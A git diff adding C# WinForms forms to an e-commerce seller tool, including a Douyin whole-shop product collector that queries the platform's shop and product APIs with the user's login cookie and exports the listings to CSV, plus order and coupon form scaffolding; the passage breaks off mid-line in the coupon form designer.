this.colImage, + this.colShopNmae, + this.colSaleCount, + this.colPrice, + this.colDelete}); + this.dgvCollect.Dock = System.Windows.Forms.DockStyle.Fill; + this.dgvCollect.Location = new System.Drawing.Point(5, 0); + this.dgvCollect.Name = "dgvCollect"; + this.dgvCollect.ReadOnly = true; + dataGridViewCellStyle3.Font = new System.Drawing.Font("微软雅黑", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.dgvCollect.RowsDefaultCellStyle = dataGridViewCellStyle3; + this.dgvCollect.RowTemplate.Height = 23; + this.dgvCollect.Size = new System.Drawing.Size(790, 299); + this.dgvCollect.TabIndex = 6; + this.dgvCollect.CellContentClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.dgvCollect_CellContentClick); + // + // colSelect + // + this.colSelect.FillWeight = 50F; + this.colSelect.HeaderText = "选"; + this.colSelect.Name = "colSelect"; + this.colSelect.ReadOnly = true; + this.colSelect.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colSelect.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.colSelect.Visible = false; + this.colSelect.Width = 41; + // + // colProductId + // + this.colProductId.HeaderText = "商品Id"; + this.colProductId.Name = "colProductId"; + this.colProductId.ReadOnly = true; + this.colProductId.Width = 150; + // + // colProductName + // + this.colProductName.HeaderText = "商品名称"; + this.colProductName.Name = "colProductName"; + this.colProductName.ReadOnly = true; + this.colProductName.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colProductName.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.colProductName.Width = 350; + // + // colImage + // + this.colImage.HeaderText = "图片"; + this.colImage.Name = "colImage"; + this.colImage.ReadOnly = true; + this.colImage.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colImage.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.colImage.Visible = false; + this.colImage.Width = 70; + // + // colShopNmae + // + this.colShopNmae.HeaderText = "店铺名称"; + this.colShopNmae.Name = "colShopNmae"; + this.colShopNmae.ReadOnly = true; + this.colShopNmae.Width = 150; + // + // colSaleCount + // + this.colSaleCount.HeaderText = "销量"; + this.colSaleCount.Name = "colSaleCount"; + this.colSaleCount.ReadOnly = true; + // + // colPrice + // + this.colPrice.HeaderText = "价格"; + this.colPrice.Name = "colPrice"; + this.colPrice.ReadOnly = true; + this.colPrice.Width = 80; + // + // colDelete + // + this.colDelete.HeaderText = "删除"; + this.colDelete.Name = "colDelete"; + this.colDelete.ReadOnly = true; + this.colDelete.Visible = false; + this.colDelete.Width = 81; + // + // statusBar + // + this.statusBar.BackColor = System.Drawing.Color.White; + this.statusBar.Dock = System.Windows.Forms.DockStyle.Fill; + this.statusBar.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.statusBar.Location = new System.Drawing.Point(0, 0); + this.statusBar.Margin = new System.Windows.Forms.Padding(0); + this.statusBar.Name = "statusBar"; + this.statusBar.Size = new System.Drawing.Size(800, 25); + this.statusBar.TabIndex = 6; + // + // ShopProductCollectForm + // + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.None; + this.BackColor = System.Drawing.Color.White; + this.ClientSize = new System.Drawing.Size(800, 450); + this.Controls.Add(this.splitContainer1); + this.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.Name = "ShopProductCollectForm"; + this.Text = "抖音整店采集"; + this.splitContainer1.Panel1.ResumeLayout(false); + this.splitContainer1.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).EndInit(); + this.splitContainer1.ResumeLayout(false); + this.ucGroupBoxEx1.ResumeLayout(false); + this.ucGroupBoxEx2.ResumeLayout(false); + this.ucGroupBoxEx2.PerformLayout(); + this.splitContainer2.Panel1.ResumeLayout(false); + this.splitContainer2.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).EndInit(); + this.splitContainer2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.dgvCollect)).EndInit(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.SplitContainer splitContainer1; + private UserControls.ButtonEx btnExport; + private UserComponent.UcGroupBoxEx ucGroupBoxEx1; + private DevComponents.DotNetBar.Controls.TextBoxX txtKeyWords; + private UserControls.ButtonEx btnLoginDouyin; + private UserControls.ButtonEx btnCollect; + private UserComponent.UcGroupBoxEx ucGroupBoxEx2; + private System.Windows.Forms.Label label10; + private System.Windows.Forms.TextBox txtTotalPage; + private System.Windows.Forms.Label label12; + private System.Windows.Forms.TextBox txtSellCountMax; + private System.Windows.Forms.TextBox txtPriceMax; + private System.Windows.Forms.Label label13; + private System.Windows.Forms.TextBox txtPriceMin; + private System.Windows.Forms.Label label14; + private System.Windows.Forms.Label label15; + private System.Windows.Forms.TextBox txtSellCountMin; + private System.Windows.Forms.Label label16; + private UserComponent.DataGridViewEx dgvCollect; + private DevComponents.DotNetBar.Controls.TextBoxX txtFilter; + private System.Windows.Forms.DataGridViewCheckBoxColumn colSelect; + private System.Windows.Forms.DataGridViewTextBoxColumn colProductId; + private System.Windows.Forms.DataGridViewLinkColumn colProductName; + private System.Windows.Forms.DataGridViewImageColumn colImage; + private System.Windows.Forms.DataGridViewTextBoxColumn colShopNmae; + private System.Windows.Forms.DataGridViewTextBoxColumn colSaleCount; + private System.Windows.Forms.DataGridViewTextBoxColumn colPrice; + private System.Windows.Forms.DataGridViewLinkColumn colDelete; + private System.Windows.Forms.SplitContainer splitContainer2; + private UserControls.StatusBarUserControl statusBar; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/CollectForms/ShopProductCollectForm.cs b/TEMUKJD/KJDForms/CollectForms/ShopProductCollectForm.cs new file mode 100644 index 0000000..8ca69ad --- /dev/null +++ b/TEMUKJD/KJDForms/CollectForms/ShopProductCollectForm.cs @@ -0,0 +1,358 @@ +using AllBase; +using AllBase.Model.Result; +using LittleRabbit.LittleRabbitForms.ToolForms; +using NaiBa.Util.Extension; +using Newtonsoft.Json.Linq; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.IO; +using System.Linq; +using System.Net; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; +using Work.BLL.Collect; + +namespace LittleRabbit.LittleRabbitForms.CollectForms +{ + public partial class ShopProductCollectForm : Form + { + List lstFilterKeyword = new List(); + List lstProduct = new List(); + decimal priceMin = 0; + decimal priceMax = 99999999; + long salesMin = 0; + long salesMax = 99999999; + int totalPage = 5; + + CancellationTokenSource cancellationTokenSource = null; + + public ShopProductCollectForm() + { + InitializeComponent(); + } + + private void btnCollect_Click(object sender, EventArgs e) + { + if (btnCollect.Text != "开始采集") + { + cancellationTokenSource.Cancel(); + return; + } + + priceMin = this.txtPriceMin.Text.ParseToDecimal(); + priceMax = this.txtPriceMax.Text.ParseToDecimal(); + salesMin = this.txtSellCountMin.Text.ParseToLong(); + salesMax = this.txtSellCountMax.Text.ParseToLong(); + totalPage = this.txtTotalPage.Text.ParseToInt(); + lstFilterKeyword = this.txtFilter.Text.Trim().Split(new string[] { "\r", "\n", " ", "," }, StringSplitOptions.RemoveEmptyEntries).ToList(); + + if (string.IsNullOrWhiteSpace(txtKeyWords.Text)) + { + BaseForms.BaseMsgForm.ShowError("请输入要搜索的Id或链接"); + return; + } + if (totalPage < 1) + { + BaseForms.BaseMsgForm.ShowError("请至少查询一页以上数据"); + return; + } + var searchTextArr = this.txtKeyWords.Text.Split(new string[] { "\r", "\n", ",", " " }, StringSplitOptions.RemoveEmptyEntries); + + lstProduct.Clear(); + this.dgvCollect.Rows.Clear(); + cancellationTokenSource = new CancellationTokenSource(); + btnCollect.Text = "停止采集"; + int n = 0; + int total = searchTextArr.Count() * totalPage; + this.statusBar.lblTaskStatus.Text = "开始采集..."; + this.statusBar.pgbTaskProgress.Value = n; + this.statusBar.pgbTaskProgress.Text = n + "/" + total; + this.statusBar.pgbTaskProgress.Maximum = total; + + Task.Run(() => + { + if (cancellationTokenSource.IsCancellationRequested) + return; + + var exportFileName = "采集导出\\抖音整店采集" + DateTime.Now.ToString("yyyyMMddHHmmss") + ".csv"; + try + { + if (!Directory.Exists("采集导出")) + Directory.CreateDirectory("采集导出"); + StringBuilder sb = new StringBuilder(); + sb.AppendLine("商品Id,商品名称,店铺名称,商品销量,商品价格"); + File.AppendAllText(exportFileName, sb.ToString(), Encoding.Default); + } + catch (Exception ex) { } + + foreach (var searchText in searchTextArr) + { + if (cancellationTokenSource.IsCancellationRequested) + break; + + DouGoodsCollectInfo goodShop = new DouGoodsCollectInfo(); + var text = searchText; + var goodId = BaseRegex.GetMatchRegexString(ref text, "(\\d{15,25})"); + if (goodId != null && goodId.ParseToLong() > 0) + goodShop.Id = goodId; + else + { + var shopId = searchText; + if (searchText.Contains("shop/index?id=")) + { + shopId = searchText.Substring(shopId.IndexOf("shop/index?id=") + "shop/index?id=".Length); + } + goodShop.ShopId = shopId; + } + + if (goodShop.Id != null && goodShop.Id.ParseToLong() > 0) + { + string douShopResult = CollectDouShopDetailByProduct(goodShop.Id); + goodShop.ShopId = BaseRegex.GetStringJson(ref douShopResult, "shop_id"); + goodShop.ShopName = BaseRegex.GetStringJson(ref douShopResult, "shop_name"); + } + else + { + string douShopResult = CollectDouShopDetail(goodShop.ShopId); + goodShop.ShopName = BaseRegex.GetStringJson(ref douShopResult, "shop_name"); + } + + if (!string.IsNullOrEmpty(goodShop.ShopName) && !string.IsNullOrEmpty(goodShop.ShopId)) + { + for (int i = 0; i < this.totalPage; i++) + { + if (i >= 19) + { + + } + try + { + if (cancellationTokenSource.IsCancellationRequested) + break; + + n++; + Invoke(new Action(() => + { + this.statusBar.lblTaskStatus.Text = "正在采集店铺:" + goodShop.ShopId + ",当前采集到第 " + (i + 1) + " 页"; + this.statusBar.pgbTaskProgress.Value = n; + this.statusBar.pgbTaskProgress.Text = n + "/" + total; + this.statusBar.pgbTaskProgress.Maximum = total; + })); + + var goodsListResult = CollectShopGoodsList(goodShop.ShopId, i.ToString()); + + if (!string.IsNullOrEmpty(goodsListResult) && goodsListResult.Contains("用户未登录")) + { + BaseForms.BaseMsgForm.ShowError("请先未登录!"); + break; + } + + if (!string.IsNullOrEmpty(goodsListResult) && goodsListResult.Contains("\"st\":0")) + { + if (goodsListResult.Contains("\"list\":[]")) + break; + + JObject jObj = JObject.Parse(goodsListResult); + if (jObj["data"]?["list"] != null) + { + foreach (JObject pObj in jObj["data"]?["list"]) + { + string pStr = JsonHelper.SerializeObject(pObj); + + DouGoodsCollectInfo good = new DouGoodsCollectInfo(); + good.GoodsName = BaseRegex.GetStringJson(ref pStr, "goods_name"); + good.Id = BaseRegex.GetStringJson(ref pStr, "product_id"); + good.ShopName = goodShop.ShopName; + good.Sales = BaseRegex.GetStringJson(ref pStr, "sell_num"); + good.Price = BaseRegex.GetDecimalJson(ref pStr, "goods_price").ToString(); + + var salesLong = good.Sales.Replace("+", "").Replace("万", "").ParseToDecimal(); + if (good.Sales.Contains("万")) + salesLong = salesLong * 10000; + if (good.Price.ParseToDecimal() < priceMin || good.Price.ParseToDecimal() > priceMax + || salesLong < salesMin || salesLong > salesMax) + { + continue; + } + if (lstFilterKeyword.Count > 0 && !lstFilterKeyword.Any(k => good.GoodsName.Contains(k))) + { + continue; + } + + try + { + this.lstProduct.Add(good); + StringBuilder sb = new StringBuilder(); + sb.AppendLine("https://haohuo.jinritemai.com/views/product/item2?id=" + good.Id + "," + good.GoodsName + "," + good.ShopName + "," + + good.Sales + "," + good.Price); + File.AppendAllText(exportFileName, sb.ToString(), Encoding.Default); + } + catch (Exception ex) { } + + Invoke(new Action(() => + { + var index = this.dgvCollect.Rows.Add(false, good.Id, good.GoodsName, null, good.ShopName, good.Sales, good.Price, "删除"); + })); + } + } + } + } + catch (Exception ex) + { + } + + Thread.Sleep(Randomx.GetId(3000, 4000)); + } + } + } + Invoke(new Action(() => + { + btnCollect.Text = "开始采集"; + + this.statusBar.lblTaskStatus.Text = "采集结束,共采集到商品" + this.lstProduct.Count + "个"; + this.statusBar.pgbTaskProgress.Value = n; + this.statusBar.pgbTaskProgress.Text = n + "/" + total; + this.statusBar.pgbTaskProgress.Maximum = total; + })); + }); + } + + private void btnExport_Click(object sender, EventArgs e) + { + try + { + SaveFileDialog saveFileDialog1 = new SaveFileDialog(); + saveFileDialog1.Filter = "表格文件(*.csv)|*.csv"; + saveFileDialog1.FileName = "抖音整店采集" + DateTime.Now.ToString("yyyyMMddHHmmss") + ".csv"; + saveFileDialog1.FilterIndex = 2; + saveFileDialog1.RestoreDirectory = true; + if (saveFileDialog1.ShowDialog() == DialogResult.OK) + { + StringBuilder sb = new StringBuilder(); + sb.AppendLine("商品Id,商品名称,店铺名称,商品销量,商品价格"); + foreach (var good in lstProduct) + { + sb.AppendLine("https://haohuo.jinritemai.com/views/product/item2?id=" + good.Id + "," + good.GoodsName + "," + good.ShopName + "," + + good.Sales + "," + good.Price); + } + File.WriteAllText(saveFileDialog1.FileName, sb.ToString(), Encoding.Default); + BaseForms.BaseMsgForm.ShowInfo("导出成功"); + } + } + catch (Exception ex) + { + BaseForms.BaseMsgForm.ShowError(ex.Message); + } + } + + /// + /// 获取店铺名称等信息 + /// + /// + /// + private string CollectDouShopDetail(string shopId) + { + HttpWebResponse response = null; + string result; + try + { + HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://ec.snssdk.com/shop/getInfo?id=" + shopId + "&b_type_new=0&device_id=0&is_outside=1"); + + request.ContentType = "application/x-www-form-urlencoded"; + request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"; + + response = (HttpWebResponse)request.GetResponse(); + } + catch (WebException ex) + { + if (ex.Status == WebExceptionStatus.ProtocolError) + { + response = (HttpWebResponse)ex.Response; + result = GetProxyHtml.ReadResponse(response); + if (response != null) response.Close(); + return result; + } + else return ex.Message; + } + catch (Exception e) + { + if (response != null) response.Close(); + return e.Message; + } + result = GetProxyHtml.ReadResponse(response); + if (response != null) response.Close(); + return result; + } + + /// + /// 根据店铺商品获取店铺名称等信息 + /// + /// + /// + private string CollectDouShopDetailByProduct(string productId) + { + return HaoWuCollectBLL.getHtml("https://ec.snssdk.com/product/fxgajaxstaticitem?b_type_new=0&device_id=0&is_outside=1&id=" + productId + "&preview=0", "", "utf8"); + } + + private string CollectShopGoodsList(string shopId, string page) + { + HttpWebResponse response = null; + string result; + try + { + string url = "https://ec.snssdk.com/shop/goodsList?shop_id=" + shopId + "&pageSize=20&page=" + page; + HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url); + + request.ContentType = "application/x-www-form-urlencoded"; + request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"; + request.Headers.Add("Cookie", AllBase.Helper.GlobalConfig.DouUserCookies); + + response = (HttpWebResponse)request.GetResponse(); + } + catch (WebException ex) + { + if (ex.Status == WebExceptionStatus.ProtocolError) + { + response = (HttpWebResponse)ex.Response; + result = GetProxyHtml.ReadResponse(response); + if (response != null) response.Close(); + return result; + } + else return ex.Message; + } + catch (Exception e) + { + if (response != null) response.Close(); + return e.Message; + } + result = GetProxyHtml.ReadResponse(response); + if (response != null) response.Close(); + return result; + } + + private void dgvCollect_CellContentClick(object sender, DataGridViewCellEventArgs e) + { + if (e.RowIndex < 0 || e.ColumnIndex < 0) + return; + + var goodsId = dgvCollect.Rows[e.RowIndex].Cells["colProductId"].Value.ToString(); + var columnName = dgvCollect.Columns[e.ColumnIndex].Name; + if (columnName == "colProductId" || columnName == "colProductName") + { + string url = "https://haohuo.jinritemai.com/views/product/item2?id=" + goodsId; + GetHtml.OpenUrl(url); + } + } + + private void btnLoginDouyin_Click(object sender, EventArgs e) + { + DouUserLoginForm dForm = new DouUserLoginForm(); + dForm.ShowDialog(); + } + } +} diff --git a/TEMUKJD/KJDForms/CollectForms/ShopProductCollectForm.resx b/TEMUKJD/KJDForms/CollectForms/ShopProductCollectForm.resx new file mode 100644 index 0000000..ee0d32d --- /dev/null +++ b/TEMUKJD/KJDForms/CollectForms/ShopProductCollectForm.resx @@ -0,0 +1,144 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/OrderForms/OrderForm.Designer.cs b/TEMUKJD/KJDForms/OrderForms/OrderForm.Designer.cs new file mode 100644 index 0000000..22d596e --- /dev/null +++ b/TEMUKJD/KJDForms/OrderForms/OrderForm.Designer.cs @@ -0,0 +1,165 @@ +namespace LittleRabbit.LittleRabbitForms.OrderForms +{ + partial class OrderForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.Windows.Forms.TreeNode treeNode3 = new System.Windows.Forms.TreeNode("添加子节点"); + System.Windows.Forms.TreeNode treeNode4 = new System.Windows.Forms.TreeNode("订单管理", new System.Windows.Forms.TreeNode[] { + treeNode3}); + this.tv = new LittleRabbit.UserComponent.UcTreeView(); + this.panel1 = new System.Windows.Forms.Panel(); + this.panel3 = new System.Windows.Forms.Panel(); + this.panel2 = new System.Windows.Forms.Panel(); + this.lblName = new System.Windows.Forms.Label(); + this.splitContainer1 = new System.Windows.Forms.SplitContainer(); + this.panel1.SuspendLayout(); + this.panel2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).BeginInit(); + this.splitContainer1.Panel1.SuspendLayout(); + this.splitContainer1.Panel2.SuspendLayout(); + this.splitContainer1.SuspendLayout(); + this.SuspendLayout(); + // + // tv + // + this.tv.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.tv.ChildNodeSelectedBgColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.tv.Cursor = System.Windows.Forms.Cursors.Hand; + this.tv.Dock = System.Windows.Forms.DockStyle.Fill; + this.tv.DrawMode = System.Windows.Forms.TreeViewDrawMode.OwnerDrawAll; + this.tv.ExpandButtonColor = System.Drawing.Color.FromArgb(((int)(((byte)(255)))), ((int)(((byte)(255)))), ((int)(((byte)(255))))); + this.tv.FullRowSelect = true; + this.tv.GroupBgColor = System.Drawing.Color.FromArgb(((int)(((byte)(249)))), ((int)(((byte)(249)))), ((int)(((byte)(249))))); + this.tv.GroupFont = new System.Drawing.Font("微软雅黑", 10.5F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.tv.GroupTitleColor = System.Drawing.Color.FromArgb(((int)(((byte)(80)))), ((int)(((byte)(80)))), ((int)(((byte)(80))))); + this.tv.HideCollapsedGroup = false; + this.tv.ItemHeight = 32; + this.tv.Location = new System.Drawing.Point(0, 0); + this.tv.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4); + this.tv.Name = "tv"; + treeNode3.Name = "添加子节点"; + treeNode3.Text = "添加子节点"; + treeNode4.Name = "订单管理"; + treeNode4.Text = "订单管理"; + this.tv.Nodes.AddRange(new System.Windows.Forms.TreeNode[] { + treeNode4}); + this.tv.OverForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(235)))), ((int)(((byte)(235)))), ((int)(((byte)(235))))); + this.tv.Size = new System.Drawing.Size(140, 460); + this.tv.TabIndex = 2; + this.tv.AfterSelect += new System.Windows.Forms.TreeViewEventHandler(this.tv_AfterSelect); + // + // panel1 + // + this.panel1.BackColor = System.Drawing.Color.White; + this.panel1.Controls.Add(this.panel3); + this.panel1.Controls.Add(this.panel2); + this.panel1.Dock = System.Windows.Forms.DockStyle.Fill; + this.panel1.Location = new System.Drawing.Point(0, 0); + this.panel1.Name = "panel1"; + this.panel1.Size = new System.Drawing.Size(792, 460); + this.panel1.TabIndex = 3; + // + // panel3 + // + this.panel3.Dock = System.Windows.Forms.DockStyle.Fill; + this.panel3.Location = new System.Drawing.Point(0, 28); + this.panel3.Name = "panel3"; + this.panel3.Size = new System.Drawing.Size(792, 432); + this.panel3.TabIndex = 1; + // + // panel2 + // + this.panel2.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(244)))), ((int)(((byte)(244)))), ((int)(((byte)(244))))); + this.panel2.Controls.Add(this.lblName); + this.panel2.Dock = System.Windows.Forms.DockStyle.Top; + this.panel2.Location = new System.Drawing.Point(0, 0); + this.panel2.Name = "panel2"; + this.panel2.Size = new System.Drawing.Size(792, 28); + this.panel2.TabIndex = 0; + // + // lblName + // + this.lblName.AutoSize = true; + this.lblName.Location = new System.Drawing.Point(5, 6); + this.lblName.Name = "lblName"; + this.lblName.Size = new System.Drawing.Size(57, 17); + this.lblName.TabIndex = 0; + this.lblName.Text = "lblName"; + // + // splitContainer1 + // + this.splitContainer1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.splitContainer1.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer1.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.splitContainer1.Location = new System.Drawing.Point(0, 0); + this.splitContainer1.Name = "splitContainer1"; + // + // splitContainer1.Panel1 + // + this.splitContainer1.Panel1.Controls.Add(this.tv); + // + // splitContainer1.Panel2 + // + this.splitContainer1.Panel2.Controls.Add(this.panel1); + this.splitContainer1.Size = new System.Drawing.Size(933, 460); + this.splitContainer1.SplitterDistance = 140; + this.splitContainer1.SplitterWidth = 1; + this.splitContainer1.TabIndex = 4; + // + // OrderForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(7F, 17F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(933, 460); + this.Controls.Add(this.splitContainer1); + this.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4); + this.Name = "OrderForm"; + this.Text = "OrderForm"; + this.Load += new System.EventHandler(this.OrderForm_Load); + this.panel1.ResumeLayout(false); + this.panel2.ResumeLayout(false); + this.panel2.PerformLayout(); + this.splitContainer1.Panel1.ResumeLayout(false); + this.splitContainer1.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).EndInit(); + this.splitContainer1.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private UserComponent.UcTreeView tv; + private System.Windows.Forms.Panel panel1; + private System.Windows.Forms.Panel panel3; + private System.Windows.Forms.Panel panel2; + private System.Windows.Forms.Label lblName; + private System.Windows.Forms.SplitContainer splitContainer1; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/OrderForms/OrderForm.cs b/TEMUKJD/KJDForms/OrderForms/OrderForm.cs new file mode 100644 index 0000000..12fccfd --- /dev/null +++ b/TEMUKJD/KJDForms/OrderForms/OrderForm.cs @@ -0,0 +1,38 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace LittleRabbit.LittleRabbitForms.OrderForms +{ + public partial class OrderForm : Form + { + public OrderForm() + { + InitializeComponent(); + } + + private void OrderForm_Load(object sender, EventArgs e) + { + try + { + tv.SelectedNode = tv.Nodes[0].Nodes[0]; + tv.ExpandGroup(tv.Nodes[0].Name); + } + catch { } + } + + private void tv_AfterSelect(object sender, TreeViewEventArgs e) + { + MainForm.sCurrentModule = e.Node.Name; + this.lblName.Text = e.Node.Text; + + // todo: 参考 LittleCatDouDian.LittleCatForms.ShopForms.Shopform + } + } +} diff --git a/TEMUKJD/KJDForms/OrderForms/OrderForm.resx b/TEMUKJD/KJDForms/OrderForms/OrderForm.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/TEMUKJD/KJDForms/OrderForms/OrderForm.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/SalesCenterForms/CouponForm.Designer.cs b/TEMUKJD/KJDForms/SalesCenterForms/CouponForm.Designer.cs new file mode 100644 index 0000000..2673829 --- /dev/null +++ b/TEMUKJD/KJDForms/SalesCenterForms/CouponForm.Designer.cs @@ -0,0 +1,1341 @@ +namespace LittleRabbit.LittleRabbitForms.SalesCenterForms +{ + partial class CouponForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle(); + this.splitContainer1 = new System.Windows.Forms.SplitContainer(); + this.splitContainer5 = new System.Windows.Forms.SplitContainer(); + this.ucGroupBoxEx3 = new LittleRabbit.UserComponent.UcGroupBoxEx(this.components); + this.pbPaste2 = new System.Windows.Forms.PictureBox(); + this.pbPaste1 = new System.Windows.Forms.PictureBox(); + this.txtFilter = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.label14 = new System.Windows.Forms.Label(); + this.txtProductName = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.txtPriceMin = new System.Windows.Forms.TextBox(); + this.label12 = new System.Windows.Forms.Label(); + this.txtPriceMax = new System.Windows.Forms.TextBox(); + this.label1 = new System.Windows.Forms.Label(); + this.lblProductName = new System.Windows.Forms.Label(); + this.txtSaleMax = new System.Windows.Forms.TextBox(); + this.txtSaleMin = new System.Windows.Forms.TextBox(); + this.label2 = new System.Windows.Forms.Label(); + this.label3 = new System.Windows.Forms.Label(); + this.rbOnSale = new System.Windows.Forms.RadioButton(); + this.btnStopGetProduct = new DevComponents.DotNetBar.PanelEx(); + this.btnGetProduct = new DevComponents.DotNetBar.PanelEx(); + this.rbOffSale = new System.Windows.Forms.RadioButton(); + this.ucGroupBoxEx2 = new LittleRabbit.UserComponent.UcGroupBoxEx(this.components); + this.flowLayoutPanel1 = new System.Windows.Forms.FlowLayoutPanel(); + this.nudThresHold = new System.Windows.Forms.NumericUpDown(); + this.lblThresHold = new System.Windows.Forms.Label(); + this.nudCredit = new System.Windows.Forms.NumericUpDown(); + this.lblCreditText = new System.Windows.Forms.Label(); + this.pnlTimePeriod = new System.Windows.Forms.Panel(); + this.dtpStartUseTime = new System.Windows.Forms.DateTimePicker(); + this.dtpEndUseTime = new System.Windows.Forms.DateTimePicker(); + this.panel3 = new System.Windows.Forms.Panel(); + this.rbUseTypeDays = new System.Windows.Forms.RadioButton(); + this.rbUseTypePeriod = new System.Windows.Forms.RadioButton(); + this.label17 = new System.Windows.Forms.Label(); + this.panel2 = new System.Windows.Forms.Panel(); + this.rbAllProductEachCoupon = new System.Windows.Forms.RadioButton(); + this.rbOneProductEachCoupon = new System.Windows.Forms.RadioButton(); + this.cmbUserCountLimited = new DevComponents.DotNetBar.Controls.ComboBoxEx(); + this.cbi1 = new DevComponents.Editors.ComboItem(); + this.nudTotalCount = new System.Windows.Forms.NumericUpDown(); + this.label15 = new System.Windows.Forms.Label(); + this.label13 = new System.Windows.Forms.Label(); + this.label11 = new System.Windows.Forms.Label(); + this.lblDiscountText = new System.Windows.Forms.Label(); + this.cmbType = new DevComponents.DotNetBar.Controls.ComboBoxEx(); + this.商品折扣券 = new DevComponents.Editors.ComboItem(); + this.商品直减券 = new DevComponents.Editors.ComboItem(); + this.商品满减券 = new DevComponents.Editors.ComboItem(); + this.label9 = new System.Windows.Forms.Label(); + this.panel1 = new System.Windows.Forms.Panel(); + this.rbNotReckonIn = new System.Windows.Forms.RadioButton(); + this.rbReckonIn = new System.Windows.Forms.RadioButton(); + this.label8 = new System.Windows.Forms.Label(); + this.label6 = new System.Windows.Forms.Label(); + this.lblUseTypeText = new System.Windows.Forms.Label(); + this.dtpEndApplyTime = new 